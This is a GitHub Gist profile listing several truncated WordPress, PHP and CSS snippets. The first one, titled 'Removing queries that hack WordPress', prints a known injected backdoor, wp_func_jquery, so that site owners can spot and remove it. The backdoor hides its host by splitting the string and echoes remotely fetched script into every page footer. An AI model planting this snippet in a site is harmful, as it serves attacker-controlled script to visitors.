Skip to content

Instantly share code, notes, and snippets.

East Side Code EastSideCode

Block or report user

Report or block EastSideCode

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@EastSideCode
EastSideCode / file.php
Created May 8, 2018
Removing queries that hack WordPress
View file.php
/*
Look for something like this
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');
@EastSideCode
EastSideCode / style.css
Last active May 7, 2018
Vertical align floating images the easy way
View style.css
.image-container {
height: 200px; /* can be whatever */
}
.image-container:before {
content: ' ';
display: inline-block;
vertical-align: middle;
height: 100%;
}
@EastSideCode
EastSideCode / functions.php
Created May 3, 2018
Edit WordPress excerpts
View functions.php
// Replaces the excerpt "Read More" text by a link
function new_excerpt_more($more) {
global $post;
return '... <a class="read-more-link" href="'. get_permalink($post->ID) . '">Read More</a>';
}
add_filter('excerpt_more', 'new_excerpt_more');
@EastSideCode
EastSideCode / page-template.php
Created May 3, 2018
Add html sitemap to pages
View page-template.php
<div class="html-sitemap">
<h2>Author(s):</h2>
<ul class="sitemap-authors">
<?php
//http://codex.wordpress.org/Function_Reference/wp_list_authors
wp_list_authors('exclude_admin=1&optioncount=1');
?>
</ul>
<h2>Pages:</h2>
@EastSideCode
EastSideCode / functions.php
Created Apr 30, 2018
For development mode, check if user is logged in
View functions.php
<?php
// for development
$developmentMode = false;
$userLoggedIn = is_user_logged_in();
$currentUser = wp_get_current_user();
if (($currentUser->user_login == "lfico") && $userLoggedIn) {
$developmentMode = true;
}
View functions.php
/*
3 steps
1. Create the meta field
2. Display is in the admin area
3. Add a save feature that checks the nonce created in the display function
*/
// add homepage meta box
@EastSideCode
EastSideCode / template-name.php
Created Apr 28, 2018
Get Featured image information in WordPress
View template-name.php
<?php $image_data = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), "thumbnail" ); ?>
<?php $image_width = $image_data[1]; ?>
@EastSideCode
EastSideCode / template-redirect-child.php
Created Apr 18, 2018
Page template to redirect to the first child page in WordPress
View template-redirect-child.php
<?php
/*
Template Name: Redirect To First Child
*/
if (have_posts()) {
while (have_posts()) {
the_post();
$pagekids = get_pages("child_of=".$post->ID."&sort_column=menu_order");
$firstchild = $pagekids[0];
wp_redirect(get_permalink($firstchild->ID));
@EastSideCode
EastSideCode / functions.php
Created Apr 16, 2018
Goal Tracking Master
View functions.php
// Include the Google Analytics Tracking Code
function google_analytics_tracking_code(){ ?>
<!-- script from analytics starts here -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-68863234-2"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
View HTML And CSS
<!-- SAMPLE MARKUP -->
<div class="section group">
<div class="col span_1_of_12">
1 of 12
</div>
<div class="col span_1_of_12">
1 of 12
</div>
<div class="col span_1_of_12">
1 of 12
You can’t perform that action at this time.